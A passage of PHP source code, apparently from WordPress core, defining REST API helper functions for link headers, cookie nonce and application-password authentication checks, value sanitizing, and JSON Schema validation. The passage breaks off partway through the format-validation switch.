 * @see get_rest_url()
 */
function rest_output_rsd() {
	$api_root = get_rest_url();

	if ( empty( $api_root ) ) {
		return;
	}
	?>
	<api name="WP-API" blogID="1" preferred="false" apiLink="<?php echo esc_url( $api_root ); ?>" />
	<?php
}

/**
 * Outputs the REST API link tag into page header.
 *
 * @since 4.4.0
 *
 * @see get_rest_url()
 */
function rest_output_link_wp_head() {
	$api_root = get_rest_url();

	if ( empty( $api_root ) ) {
		return;
	}

	printf( '<link rel="https://api.w.org/" href="%s" />', esc_url( $api_root ) );

	$resource = rest_get_queried_resource_route();

	if ( $resource ) {
		printf( '<link rel="alternate" type="application/json" href="%s" />', esc_url( rest_url( $resource ) ) );
	}
}

/**
 * Sends a Link header for the REST API.
 *
 * @since 4.4.0
 */
function rest_output_link_header() {
	if ( headers_sent() ) {
		return;
	}

	$api_root = get_rest_url();

	if ( empty( $api_root ) ) {
		return;
	}

	header( sprintf( 'Link: <%s>; rel="https://api.w.org/"', sanitize_url( $api_root ) ), false );

	$resource = rest_get_queried_resource_route();

	if ( $resource ) {
		header( sprintf( 'Link: <%s>; rel="alternate"; type="application/json"', sanitize_url( rest_url( $resource ) ) ), false );
	}
}

/**
 * Checks for errors when using cookie-based authentication.
 *
 * WordPress' built-in cookie authentication is always active
 * for logged in users. However, the API has to check nonces
 * for each request to ensure users are not vulnerable to CSRF.
 *
 * @since 4.4.0
 *
 * @global mixed          $wp_rest_auth_cookie
 *
 * @param WP_Error|mixed $result Error from another authentication handler,
 *                               null if we should handle it, or another value if not.
 * @return WP_Error|mixed|bool WP_Error if the cookie is invalid, the $result, otherwise true.
 */
function rest_cookie_check_errors( $result ) {
	if ( ! empty( $result ) ) {
		return $result;
	}

	global $wp_rest_auth_cookie;

	/*
	 * Is cookie authentication being used? (If we get an auth
	 * error, but we're still logged in, another authentication
	 * must have been used).
	 */
	if ( true !== $wp_rest_auth_cookie && is_user_logged_in() ) {
		return $result;
	}

	// Determine if there is a nonce.
	$nonce = null;

	if ( isset( $_REQUEST['_wpnonce'] ) ) {
		$nonce = $_REQUEST['_wpnonce'];
	} elseif ( isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) {
		$nonce = $_SERVER['HTTP_X_WP_NONCE'];
	}

	if ( null === $nonce ) {
		// No nonce at all, so act as if it's an unauthenticated request.
		wp_set_current_user( 0 );
		return true;
	}

	// Check the nonce.
	$result = wp_verify_nonce( $nonce, 'wp_rest' );

	if ( ! $result ) {
		add_filter( 'rest_send_nocache_headers', '__return_true', 20 );
		return new WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie check failed' ), array( 'status' => 403 ) );
	}

	// Send a refreshed nonce in header.
	rest_get_server()->send_header( 'X-WP-Nonce', wp_create_nonce( 'wp_rest' ) );

	return true;
}

/**
 * Collects cookie authentication status.
 *
 * Collects errors from wp_validate_auth_cookie for use by rest_cookie_check_errors.
 *
 * @since 4.4.0
 *
 * @see current_action()
 * @global mixed $wp_rest_auth_cookie
 */
function rest_cookie_collect_status() {
	global $wp_rest_auth_cookie;

	$status_type = current_action();

	if ( 'auth_cookie_valid' !== $status_type ) {
		$wp_rest_auth_cookie = substr( $status_type, 12 );
		return;
	}

	$wp_rest_auth_cookie = true;
}

/**
 * Collects the status of authenticating with an application password.
 *
 * @since 5.6.0
 * @since 5.7.0 Added the `$app_password` parameter.
 *
 * @global WP_User|WP_Error|null $wp_rest_application_password_status
 * @global string|null $wp_rest_application_password_uuid
 *
 * @param WP_Error $user_or_error The authenticated user or error instance.
 * @param array    $app_password  The Application Password used to authenticate.
 */
function rest_application_password_collect_status( $user_or_error, $app_password = array() ) {
	global $wp_rest_application_password_status, $wp_rest_application_password_uuid;

	$wp_rest_application_password_status = $user_or_error;

	if ( empty( $app_password['uuid'] ) ) {
		$wp_rest_application_password_uuid = null;
	} else {
		$wp_rest_application_password_uuid = $app_password['uuid'];
	}
}

/**
 * Gets the Application Password used for authenticating the request.
 *
 * @since 5.7.0
 *
 * @global string|null $wp_rest_application_password_uuid
 *
 * @return string|null The Application Password UUID, or null if Application Passwords was not used.
 */
function rest_get_authenticated_app_password() {
	global $wp_rest_application_password_uuid;

	return $wp_rest_application_password_uuid;
}

/**
 * Checks for errors when using application password-based authentication.
 *
 * @since 5.6.0
 *
 * @global WP_User|WP_Error|null $wp_rest_application_password_status
 *
 * @param WP_Error|null|true $result Error from another authentication handler,
 *                                   null if we should handle it, or another value if not.
 * @return WP_Error|null|true WP_Error if the application password is invalid, the $result, otherwise true.
 */
function rest_application_password_check_errors( $result ) {
	global $wp_rest_application_password_status;

	if ( ! empty( $result ) ) {
		return $result;
	}

	if ( is_wp_error( $wp_rest_application_password_status ) ) {
		$data = $wp_rest_application_password_status->get_error_data();

		if ( ! isset( $data['status'] ) ) {
			$data['status'] = 401;
		}

		$wp_rest_application_password_status->add_data( $data );

		return $wp_rest_application_password_status;
	}

	if ( $wp_rest_application_password_status instanceof WP_User ) {
		return true;
	}

	return $result;
}

/**
 * Adds Application Passwords info to the REST API index.
 *
 * @since 5.6.0
 *
 * @param WP_REST_Response $response The index response object.
 * @return WP_REST_Response
 */
function rest_add_application_passwords_to_index( $response ) {
	if ( ! wp_is_application_passwords_available() ) {
		return $response;
	}

	$response->data['authentication']['application-passwords'] = array(
		'endpoints' => array(
			'authorization' => admin_url( 'authorize-application.php' ),
		),
	);

	return $response;
}

/**
 * Retrieves the avatar URLs in various sizes.
 *
 * @since 4.7.0
 *
 * @see get_avatar_url()
 *
 * @param mixed $id_or_email The avatar to retrieve a URL for. Accepts a user ID, Gravatar MD5 hash,
 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
 * @return (string|false)[] Avatar URLs keyed by size. Each value can be a URL string or boolean false.
 */
function rest_get_avatar_urls( $id_or_email ) {
	$avatar_sizes = rest_get_avatar_sizes();

	$urls = array();
	foreach ( $avatar_sizes as $size ) {
		$urls[ $size ] = get_avatar_url( $id_or_email, array( 'size' => $size ) );
	}

	return $urls;
}

/**
 * Retrieves the pixel sizes for avatars.
 *
 * @since 4.7.0
 *
 * @return int[] List of pixel sizes for avatars. Default `[ 24, 48, 96 ]`.
 */
function rest_get_avatar_sizes() {
	/**
	 * Filters the REST avatar sizes.
	 *
	 * Use this filter to adjust the array of sizes returned by the
	 * `rest_get_avatar_sizes` function.
	 *
	 * @since 4.4.0
	 *
	 * @param int[] $sizes An array of int values that are the pixel sizes for avatars.
	 *                     Default `[ 24, 48, 96 ]`.
	 */
	return apply_filters( 'rest_avatar_sizes', array( 24, 48, 96 ) );
}

/**
 * Parses an RFC3339 time into a Unix timestamp.
 *
 * @since 4.4.0
 *
 * @param string $date      RFC3339 timestamp.
 * @param bool   $force_utc Optional. Whether to force UTC timezone instead of using
 *                          the timestamp's timezone. Default false.
 * @return int Unix timestamp.
 */
function rest_parse_date( $date, $force_utc = false ) {
	if ( $force_utc ) {
		$date = preg_replace( '/[+-]\d+:?\d+$/', '+00:00', $date );
	}

	$regex = '#^\d{4}-\d{2}-\d{2}[Tt ]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}(?::\d{2})?)?$#';

	if ( ! preg_match( $regex, $date, $matches ) ) {
		return false;
	}

	return strtotime( $date );
}

/**
 * Parses a 3 or 6 digit hex color (with #).
 *
 * @since 5.4.0
 *
 * @param string $color 3 or 6 digit hex color (with #).
 * @return string|false
 */
function rest_parse_hex_color( $color ) {
	$regex = '|^#([A-Fa-f0-9]{3}){1,2}$|';
	if ( ! preg_match( $regex, $color, $matches ) ) {
		return false;
	}

	return $color;
}

/**
 * Parses a date into both its local and UTC equivalent, in MySQL datetime format.
 *
 * @since 4.4.0
 *
 * @see rest_parse_date()
 *
 * @param string $date   RFC3339 timestamp.
 * @param bool   $is_utc Whether the provided date should be interpreted as UTC. Default false.
 * @return array|null {
 *     Local and UTC datetime strings, in MySQL datetime format (Y-m-d H:i:s),
 *     null on failure.
 *
 *     @type string $0 Local datetime string.
 *     @type string $1 UTC datetime string.
 * }
 */
function rest_get_date_with_gmt( $date, $is_utc = false ) {
	/*
	 * Whether or not the original date actually has a timezone string
	 * changes the way we need to do timezone conversion.
	 * Store this info before parsing the date, and use it later.
	 */
	$has_timezone = preg_match( '#(Z|[+-]\d{2}(:\d{2})?)$#', $date );

	$date = rest_parse_date( $date );

	if ( empty( $date ) ) {
		return null;
	}

	/*
	 * At this point $date could either be a local date (if we were passed
	 * a *local* date without a timezone offset) or a UTC date (otherwise).
	 * Timezone conversion needs to be handled differently between these two cases.
	 */
	if ( ! $is_utc && ! $has_timezone ) {
		$local = gmdate( 'Y-m-d H:i:s', $date );
		$utc   = get_gmt_from_date( $local );
	} else {
		$utc   = gmdate( 'Y-m-d H:i:s', $date );
		$local = get_date_from_gmt( $utc );
	}

	return array( $local, $utc );
}

/**
 * Returns a contextual HTTP error code for authorization failure.
 *
 * @since 4.7.0
 *
 * @return int 401 if the user is not logged in, 403 if the user is logged in.
 */
function rest_authorization_required_code() {
	return is_user_logged_in() ? 403 : 401;
}

/**
 * Validate a request argument based on details registered to the route.
 *
 * @since 4.7.0
 *
 * @param mixed           $value
 * @param WP_REST_Request $request
 * @param string          $param
 * @return true|WP_Error
 */
function rest_validate_request_arg( $value, $request, $param ) {
	$attributes = $request->get_attributes();
	if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
		return true;
	}
	$args = $attributes['args'][ $param ];

	return rest_validate_value_from_schema( $value, $args, $param );
}

/**
 * Sanitize a request argument based on details registered to the route.
 *
 * @since 4.7.0
 *
 * @param mixed           $value
 * @param WP_REST_Request $request
 * @param string          $param
 * @return mixed
 */
function rest_sanitize_request_arg( $value, $request, $param ) {
	$attributes = $request->get_attributes();
	if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
		return $value;
	}
	$args = $attributes['args'][ $param ];

	return rest_sanitize_value_from_schema( $value, $args, $param );
}

/**
 * Parse a request argument based on details registered to the route.
 *
 * Runs a validation check and sanitizes the value, primarily to be used via
 * the `sanitize_callback` arguments in the endpoint args registration.
 *
 * @since 4.7.0
 *
 * @param mixed           $value
 * @param WP_REST_Request $request
 * @param string          $param
 * @return mixed
 */
function rest_parse_request_arg( $value, $request, $param ) {
	$is_valid = rest_validate_request_arg( $value, $request, $param );

	if ( is_wp_error( $is_valid ) ) {
		return $is_valid;
	}

	$value = rest_sanitize_request_arg( $value, $request, $param );

	return $value;
}

/**
 * Determines if an IP address is valid.
 *
 * Handles both IPv4 and IPv6 addresses.
 *
 * @since 4.7.0
 *
 * @param string $ip IP address.
 * @return string|false The valid IP address, otherwise false.
 */
function rest_is_ip_address( $ip ) {
	$ipv4_pattern = '/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/';

	if ( ! preg_match( $ipv4_pattern, $ip ) && ! WpOrg\Requests\Ipv6::check_ipv6( $ip ) ) {
		return false;
	}

	return $ip;
}

/**
 * Changes a boolean-like value into the proper boolean value.
 *
 * @since 4.7.0
 *
 * @param bool|string|int $value The value being evaluated.
 * @return bool Returns the proper associated boolean value.
 */
function rest_sanitize_boolean( $value ) {
	// String values are translated to `true`; make sure 'false' is false.
	if ( is_string( $value ) ) {
		$value = strtolower( $value );
		if ( in_array( $value, array( 'false', '0' ), true ) ) {
			$value = false;
		}
	}

	// Everything else will map nicely to boolean.
	return (bool) $value;
}

/**
 * Determines if a given value is boolean-like.
 *
 * @since 4.7.0
 *
 * @param bool|string $maybe_bool The value being evaluated.
 * @return bool True if a boolean, otherwise false.
 */
function rest_is_boolean( $maybe_bool ) {
	if ( is_bool( $maybe_bool ) ) {
		return true;
	}

	if ( is_string( $maybe_bool ) ) {
		$maybe_bool = strtolower( $maybe_bool );

		$valid_boolean_values = array(
			'false',
			'true',
			'0',
			'1',
		);

		return in_array( $maybe_bool, $valid_boolean_values, true );
	}

	if ( is_int( $maybe_bool ) ) {
		return in_array( $maybe_bool, array( 0, 1 ), true );
	}

	return false;
}

/**
 * Determines if a given value is integer-like.
 *
 * @since 5.5.0
 *
 * @param mixed $maybe_integer The value being evaluated.
 * @return bool True if an integer, otherwise false.
 */
function rest_is_integer( $maybe_integer ) {
	return is_numeric( $maybe_integer ) && round( (float) $maybe_integer ) === (float) $maybe_integer;
}

/**
 * Determines if a given value is array-like.
 *
 * @since 5.5.0
 *
 * @param mixed $maybe_array The value being evaluated.
 * @return bool
 */
function rest_is_array( $maybe_array ) {
	if ( is_scalar( $maybe_array ) ) {
		$maybe_array = wp_parse_list( $maybe_array );
	}

	return wp_is_numeric_array( $maybe_array );
}

/**
 * Converts an array-like value to an array.
 *
 * @since 5.5.0
 *
 * @param mixed $maybe_array The value being evaluated.
 * @return array Returns the array extracted from the value.
 */
function rest_sanitize_array( $maybe_array ) {
	if ( is_scalar( $maybe_array ) ) {
		return wp_parse_list( $maybe_array );
	}

	if ( ! is_array( $maybe_array ) ) {
		return array();
	}

	// Normalize to numeric array so nothing unexpected is in the keys.
	return array_values( $maybe_array );
}

/**
 * Determines if a given value is object-like.
 *
 * @since 5.5.0
 *
 * @param mixed $maybe_object The value being evaluated.
 * @return bool True if object like, otherwise false.
 */
function rest_is_object( $maybe_object ) {
	if ( '' === $maybe_object ) {
		return true;
	}

	if ( $maybe_object instanceof stdClass ) {
		return true;
	}

	if ( $maybe_object instanceof JsonSerializable ) {
		$maybe_object = $maybe_object->jsonSerialize();
	}

	return is_array( $maybe_object );
}

/**
 * Converts an object-like value to an array.
 *
 * @since 5.5.0
 *
 * @param mixed $maybe_object The value being evaluated.
 * @return array Returns the object extracted from the value as an associative array.
 */
function rest_sanitize_object( $maybe_object ) {
	if ( '' === $maybe_object ) {
		return array();
	}

	if ( $maybe_object instanceof stdClass ) {
		return (array) $maybe_object;
	}

	if ( $maybe_object instanceof JsonSerializable ) {
		$maybe_object = $maybe_object->jsonSerialize();
	}

	if ( ! is_array( $maybe_object ) ) {
		return array();
	}

	return $maybe_object;
}

/**
 * Gets the best type for a value.
 *
 * @since 5.5.0
 *
 * @param mixed    $value The value to check.
 * @param string[] $types The list of possible types.
 * @return string The best matching type, an empty string if no types match.
 */
function rest_get_best_type_for_value( $value, $types ) {
	static $checks = array(
		'array'   => 'rest_is_array',
		'object'  => 'rest_is_object',
		'integer' => 'rest_is_integer',
		'number'  => 'is_numeric',
		'boolean' => 'rest_is_boolean',
		'string'  => 'is_string',
		'null'    => 'is_null',
	);

	/*
	 * Both arrays and objects allow empty strings to be converted to their types.
	 * But the best answer for this type is a string.
	 */
	if ( '' === $value && in_array( 'string', $types, true ) ) {
		return 'string';
	}

	foreach ( $types as $type ) {
		if ( isset( $checks[ $type ] ) && $checks[ $type ]( $value ) ) {
			return $type;
		}
	}

	return '';
}

/**
 * Handles getting the best type for a multi-type schema.
 *
 * This is a wrapper for {@see rest_get_best_type_for_value()} that handles
 * backward compatibility for schemas that use invalid types.
 *
 * @since 5.5.0
 *
 * @param mixed  $value The value to check.
 * @param array  $args  The schema array to use.
 * @param string $param The parameter name, used in error messages.
 * @return string
 */
function rest_handle_multi_type_schema( $value, $args, $param = '' ) {
	$allowed_types = array( 'array', 'object', 'string', 'number', 'integer', 'boolean', 'null' );
	$invalid_types = array_diff( $args['type'], $allowed_types );

	if ( $invalid_types ) {
		_doing_it_wrong(
			__FUNCTION__,
			/* translators: 1: Parameter, 2: List of allowed types. */
			wp_sprintf( __( 'The "type" schema keyword for %1$s can only contain the built-in types: %2$l.' ), $param, $allowed_types ),
			'5.5.0'
		);
	}

	$best_type = rest_get_best_type_for_value( $value, $args['type'] );

	if ( ! $best_type ) {
		if ( ! $invalid_types ) {
			return '';
		}

		// Backward compatibility for previous behavior which allowed the value if there was an invalid type used.
		$best_type = reset( $invalid_types );
	}

	return $best_type;
}

/**
 * Checks if an array is made up of unique items.
 *
 * @since 5.5.0
 *
 * @param array $input_array The array to check.
 * @return bool True if the array contains unique items, false otherwise.
 */
function rest_validate_array_contains_unique_items( $input_array ) {
	$seen = array();

	foreach ( $input_array as $item ) {
		$stabilized = rest_stabilize_value( $item );
		$key        = serialize( $stabilized );

		if ( ! isset( $seen[ $key ] ) ) {
			$seen[ $key ] = true;

			continue;
		}

		return false;
	}

	return true;
}

/**
 * Stabilizes a value following JSON Schema semantics.
 *
 * For lists, order is preserved. For objects, properties are reordered alphabetically.
 *
 * @since 5.5.0
 *
 * @param mixed $value The value to stabilize. Must already be sanitized. Objects should have been converted to arrays.
 * @return mixed The stabilized value.
 */
function rest_stabilize_value( $value ) {
	if ( is_scalar( $value ) || is_null( $value ) ) {
		return $value;
	}

	if ( is_object( $value ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Cannot stabilize objects. Convert the object to an array first.' ), '5.5.0' );

		return $value;
	}

	ksort( $value );

	foreach ( $value as $k => $v ) {
		$value[ $k ] = rest_stabilize_value( $v );
	}

	return $value;
}

/**
 * Validates if the JSON Schema pattern matches a value.
 *
 * @since 5.6.0
 *
 * @param string $pattern The pattern to match against.
 * @param string $value   The value to check.
 * @return bool           True if the pattern matches the given value, false otherwise.
 */
function rest_validate_json_schema_pattern( $pattern, $value ) {
	$escaped_pattern = str_replace( '#', '\\#', $pattern );

	return 1 === preg_match( '#' . $escaped_pattern . '#u', $value );
}

/**
 * Finds the schema for a property using the patternProperties keyword.
 *
 * @since 5.6.0
 *
 * @param string $property The property name to check.
 * @param array  $args     The schema array to use.
 * @return array|null      The schema of matching pattern property, or null if no patterns match.
 */
function rest_find_matching_pattern_property_schema( $property, $args ) {
	if ( isset( $args['patternProperties'] ) ) {
		foreach ( $args['patternProperties'] as $pattern => $child_schema ) {
			if ( rest_validate_json_schema_pattern( $pattern, $property ) ) {
				return $child_schema;
			}
		}
	}

	return null;
}

/**
 * Formats a combining operation error into a WP_Error object.
 *
 * @since 5.6.0
 *
 * @param string $param The parameter name.
 * @param array $error  The error details.
 * @return WP_Error
 */
function rest_format_combining_operation_error( $param, $error ) {
	$position = $error['index'];
	$reason   = $error['error_object']->get_error_message();

	if ( isset( $error['schema']['title'] ) ) {
		$title = $error['schema']['title'];

		return new WP_Error(
			'rest_no_matching_schema',
			/* translators: 1: Parameter, 2: Schema title, 3: Reason. */
			sprintf( __( '%1$s is not a valid %2$s. Reason: %3$s' ), $param, $title, $reason ),
			array( 'position' => $position )
		);
	}

	return new WP_Error(
		'rest_no_matching_schema',
		/* translators: 1: Parameter, 2: Reason. */
		sprintf( __( '%1$s does not match the expected format. Reason: %2$s' ), $param, $reason ),
		array( 'position' => $position )
	);
}

/**
 * Gets the error of combining operation.
 *
 * @since 5.6.0
 *
 * @param array  $value  The value to validate.
 * @param string $param  The parameter name, used in error messages.
 * @param array  $errors The errors array, to search for possible error.
 * @return WP_Error      The combining operation error.
 */
function rest_get_combining_operation_error( $value, $param, $errors ) {
	// If there is only one error, simply return it.
	if ( 1 === count( $errors ) ) {
		return rest_format_combining_operation_error( $param, $errors[0] );
	}

	// Filter out all errors related to type validation.
	$filtered_errors = array();
	foreach ( $errors as $error ) {
		$error_code = $error['error_object']->get_error_code();
		$error_data = $error['error_object']->get_error_data();

		if ( 'rest_invalid_type' !== $error_code || ( isset( $error_data['param'] ) && $param !== $error_data['param'] ) ) {
			$filtered_errors[] = $error;
		}
	}

	// If there is only one error left, simply return it.
	if ( 1 === count( $filtered_errors ) ) {
		return rest_format_combining_operation_error( $param, $filtered_errors[0] );
	}

	// If there are only errors related to object validation, try choosing the most appropriate one.
	if ( count( $filtered_errors ) > 1 && 'object' === $filtered_errors[0]['schema']['type'] ) {
		$result = null;
		$number = 0;

		foreach ( $filtered_errors as $error ) {
			if ( isset( $error['schema']['properties'] ) ) {
				$n = count( array_intersect_key( $error['schema']['properties'], $value ) );
				if ( $n > $number ) {
					$result = $error;
					$number = $n;
				}
			}
		}

		if ( null !== $result ) {
			return rest_format_combining_operation_error( $param, $result );
		}
	}

	// If each schema has a title, include those titles in the error message.
	$schema_titles = array();
	foreach ( $errors as $error ) {
		if ( isset( $error['schema']['title'] ) ) {
			$schema_titles[] = $error['schema']['title'];
		}
	}

	if ( count( $schema_titles ) === count( $errors ) ) {
		/* translators: 1: Parameter, 2: Schema titles. */
		return new WP_Error( 'rest_no_matching_schema', wp_sprintf( __( '%1$s is not a valid %2$l.' ), $param, $schema_titles ) );
	}

	/* translators: %s: Parameter. */
	return new WP_Error( 'rest_no_matching_schema', sprintf( __( '%s does not match any of the expected formats.' ), $param ) );
}

/**
 * Finds the matching schema among the "anyOf" schemas.
 *
 * @since 5.6.0
 *
 * @param mixed  $value   The value to validate.
 * @param array  $args    The schema array to use.
 * @param string $param   The parameter name, used in error messages.
 * @return array|WP_Error The matching schema or WP_Error instance if all schemas do not match.
 */
function rest_find_any_matching_schema( $value, $args, $param ) {
	$errors = array();

	foreach ( $args['anyOf'] as $index => $schema ) {
		if ( ! isset( $schema['type'] ) && isset( $args['type'] ) ) {
			$schema['type'] = $args['type'];
		}

		$is_valid = rest_validate_value_from_schema( $value, $schema, $param );
		if ( ! is_wp_error( $is_valid ) ) {
			return $schema;
		}

		$errors[] = array(
			'error_object' => $is_valid,
			'schema'       => $schema,
			'index'        => $index,
		);
	}

	return rest_get_combining_operation_error( $value, $param, $errors );
}

/**
 * Finds the matching schema among the "oneOf" schemas.
 *
 * @since 5.6.0
 *
 * @param mixed  $value                  The value to validate.
 * @param array  $args                   The schema array to use.
 * @param string $param                  The parameter name, used in error messages.
 * @param bool   $stop_after_first_match Optional. Whether the process should stop after the first successful match.
 * @return array|WP_Error                The matching schema or WP_Error instance if the number of matching schemas is not equal to one.
 */
function rest_find_one_matching_schema( $value, $args, $param, $stop_after_first_match = false ) {
	$matching_schemas = array();
	$errors           = array();

	foreach ( $args['oneOf'] as $index => $schema ) {
		if ( ! isset( $schema['type'] ) && isset( $args['type'] ) ) {
			$schema['type'] = $args['type'];
		}

		$is_valid = rest_validate_value_from_schema( $value, $schema, $param );
		if ( ! is_wp_error( $is_valid ) ) {
			if ( $stop_after_first_match ) {
				return $schema;
			}

			$matching_schemas[] = array(
				'schema_object' => $schema,
				'index'         => $index,
			);
		} else {
			$errors[] = array(
				'error_object' => $is_valid,
				'schema'       => $schema,
				'index'        => $index,
			);
		}
	}

	if ( ! $matching_schemas ) {
		return rest_get_combining_operation_error( $value, $param, $errors );
	}

	if ( count( $matching_schemas ) > 1 ) {
		$schema_positions = array();
		$schema_titles    = array();

		foreach ( $matching_schemas as $schema ) {
			$schema_positions[] = $schema['index'];

			if ( isset( $schema['schema_object']['title'] ) ) {
				$schema_titles[] = $schema['schema_object']['title'];
			}
		}

		// If each schema has a title, include those titles in the error message.
		if ( count( $schema_titles ) === count( $matching_schemas ) ) {
			return new WP_Error(
				'rest_one_of_multiple_matches',
				/* translators: 1: Parameter, 2: Schema titles. */
				wp_sprintf( __( '%1$s matches %2$l, but should match only one.' ), $param, $schema_titles ),
				array( 'positions' => $schema_positions )
			);
		}

		return new WP_Error(
			'rest_one_of_multiple_matches',
			/* translators: %s: Parameter. */
			sprintf( __( '%s matches more than one of the expected formats.' ), $param ),
			array( 'positions' => $schema_positions )
		);
	}

	return $matching_schemas[0]['schema_object'];
}

/**
 * Checks the equality of two values, following JSON Schema semantics.
 *
 * Property order is ignored for objects.
 *
 * Values must have been previously sanitized/coerced to their native types.
 *
 * @since 5.7.0
 *
 * @param mixed $value1 The first value to check.
 * @param mixed $value2 The second value to check.
 * @return bool True if the values are equal or false otherwise.
 */
function rest_are_values_equal( $value1, $value2 ) {
	if ( is_array( $value1 ) && is_array( $value2 ) ) {
		if ( count( $value1 ) !== count( $value2 ) ) {
			return false;
		}

		foreach ( $value1 as $index => $value ) {
			if ( ! array_key_exists( $index, $value2 ) || ! rest_are_values_equal( $value, $value2[ $index ] ) ) {
				return false;
			}
		}

		return true;
	}

	if ( is_int( $value1 ) && is_float( $value2 )
		|| is_float( $value1 ) && is_int( $value2 )
	) {
		return (float) $value1 === (float) $value2;
	}

	return $value1 === $value2;
}

/**
 * Validates that the given value is a member of the JSON Schema "enum".
 *
 * @since 5.7.0
 *
 * @param mixed  $value  The value to validate.
 * @param array  $args   The schema array to use.
 * @param string $param  The parameter name, used in error messages.
 * @return true|WP_Error True if the "enum" contains the value or a WP_Error instance otherwise.
 */
function rest_validate_enum( $value, $args, $param ) {
	$sanitized_value = rest_sanitize_value_from_schema( $value, $args, $param );
	if ( is_wp_error( $sanitized_value ) ) {
		return $sanitized_value;
	}

	foreach ( $args['enum'] as $enum_value ) {
		if ( rest_are_values_equal( $sanitized_value, $enum_value ) ) {
			return true;
		}
	}

	$encoded_enum_values = array();
	foreach ( $args['enum'] as $enum_value ) {
		$encoded_enum_values[] = is_scalar( $enum_value ) ? $enum_value : wp_json_encode( $enum_value );
	}

	if ( count( $encoded_enum_values ) === 1 ) {
		/* translators: 1: Parameter, 2: Valid values. */
		return new WP_Error( 'rest_not_in_enum', wp_sprintf( __( '%1$s is not %2$s.' ), $param, $encoded_enum_values[0] ) );
	}

	/* translators: 1: Parameter, 2: List of valid values. */
	return new WP_Error( 'rest_not_in_enum', wp_sprintf( __( '%1$s is not one of %2$l.' ), $param, $encoded_enum_values ) );
}

/**
 * Get all valid JSON schema properties.
 *
 * @since 5.6.0
 *
 * @return string[] All valid JSON schema properties.
 */
function rest_get_allowed_schema_keywords() {
	return array(
		'title',
		'description',
		'default',
		'type',
		'format',
		'enum',
		'items',
		'properties',
		'additionalProperties',
		'patternProperties',
		'minProperties',
		'maxProperties',
		'minimum',
		'maximum',
		'exclusiveMinimum',
		'exclusiveMaximum',
		'multipleOf',
		'minLength',
		'maxLength',
		'pattern',
		'minItems',
		'maxItems',
		'uniqueItems',
		'anyOf',
		'oneOf',
	);
}

/**
 * Validate a value based on a schema.
 *
 * @since 4.7.0
 * @since 4.9.0 Support the "object" type.
 * @since 5.2.0 Support validating "additionalProperties" against a schema.
 * @since 5.3.0 Support multiple types.
 * @since 5.4.0 Convert an empty string to an empty object.
 * @since 5.5.0 Add the "uuid" and "hex-color" formats.
 *              Support the "minLength", "maxLength" and "pattern" keywords for strings.
 *              Support the "minItems", "maxItems" and "uniqueItems" keywords for arrays.
 *              Validate required properties.
 * @since 5.6.0 Support the "minProperties" and "maxProperties" keywords for objects.
 *              Support the "multipleOf" keyword for numbers and integers.
 *              Support the "patternProperties" keyword for objects.
 *              Support the "anyOf" and "oneOf" keywords.
 *
 * @param mixed  $value The value to validate.
 * @param array  $args  Schema array to use for validation.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_value_from_schema( $value, $args, $param = '' ) {
	if ( isset( $args['anyOf'] ) ) {
		$matching_schema = rest_find_any_matching_schema( $value, $args, $param );
		if ( is_wp_error( $matching_schema ) ) {
			return $matching_schema;
		}

		if ( ! isset( $args['type'] ) && isset( $matching_schema['type'] ) ) {
			$args['type'] = $matching_schema['type'];
		}
	}

	if ( isset( $args['oneOf'] ) ) {
		$matching_schema = rest_find_one_matching_schema( $value, $args, $param );
		if ( is_wp_error( $matching_schema ) ) {
			return $matching_schema;
		}

		if ( ! isset( $args['type'] ) && isset( $matching_schema['type'] ) ) {
			$args['type'] = $matching_schema['type'];
		}
	}

	$allowed_types = array( 'array', 'object', 'string', 'number', 'integer', 'boolean', 'null' );

	if ( ! isset( $args['type'] ) ) {
		/* translators: %s: Parameter. */
		_doing_it_wrong( __FUNCTION__, sprintf( __( 'The "type" schema keyword for %s is required.' ), $param ), '5.5.0' );
	}

	if ( is_array( $args['type'] ) ) {
		$best_type = rest_handle_multi_type_schema( $value, $args, $param );

		if ( ! $best_type ) {
			return new WP_Error(
				'rest_invalid_type',
				/* translators: 1: Parameter, 2: List of types. */
				sprintf( __( '%1$s is not of type %2$s.' ), $param, implode( ',', $args['type'] ) ),
				array( 'param' => $param )
			);
		}

		$args['type'] = $best_type;
	}

	if ( ! in_array( $args['type'], $allowed_types, true ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			/* translators: 1: Parameter, 2: The list of allowed types. */
			wp_sprintf( __( 'The "type" schema keyword for %1$s can only be one of the built-in types: %2$l.' ), $param, $allowed_types ),
			'5.5.0'
		);
	}

	switch ( $args['type'] ) {
		case 'null':
			$is_valid = rest_validate_null_value_from_schema( $value, $param );
			break;
		case 'boolean':
			$is_valid = rest_validate_boolean_value_from_schema( $value, $param );
			break;
		case 'object':
			$is_valid = rest_validate_object_value_from_schema( $value, $args, $param );
			break;
		case 'array':
			$is_valid = rest_validate_array_value_from_schema( $value, $args, $param );
			break;
		case 'number':
			$is_valid = rest_validate_number_value_from_schema( $value, $args, $param );
			break;
		case 'string':
			$is_valid = rest_validate_string_value_from_schema( $value, $args, $param );
			break;
		case 'integer':
			$is_valid = rest_validate_integer_value_from_schema( $value, $args, $param );
			break;
		default:
			$is_valid = true;
			break;
	}

	if ( is_wp_error( $is_valid ) ) {
		return $is_valid;
	}

	if ( ! empty( $args['enum'] ) ) {
		$enum_contains_value = rest_validate_enum( $value, $args, $param );
		if ( is_wp_error( $enum_contains_value ) ) {
			return $enum_contains_value;
		}
	}

	/*
	 * The "format" keyword should only be applied to strings. However, for backward compatibility,
	 * we allow the "format" keyword if the type keyword was not specified, or was set to an invalid value.
	 */
	if ( isset( $args['format'] )
		&& ( ! isset( $args['type'] ) || 'string' === $args['type'] || ! in_array( $args['type'], $allowed_types, true ) )
	) {
		switch ( $args['format'] ) {
			case 'hex-color':
				if ( ! rest_parse_hex_color( $value ) ) {
					return new WP_Error( 'rest_invalid_hex_color', __( 'Invalid hex color.' ) );
				}
				break;

			case 'date-time':
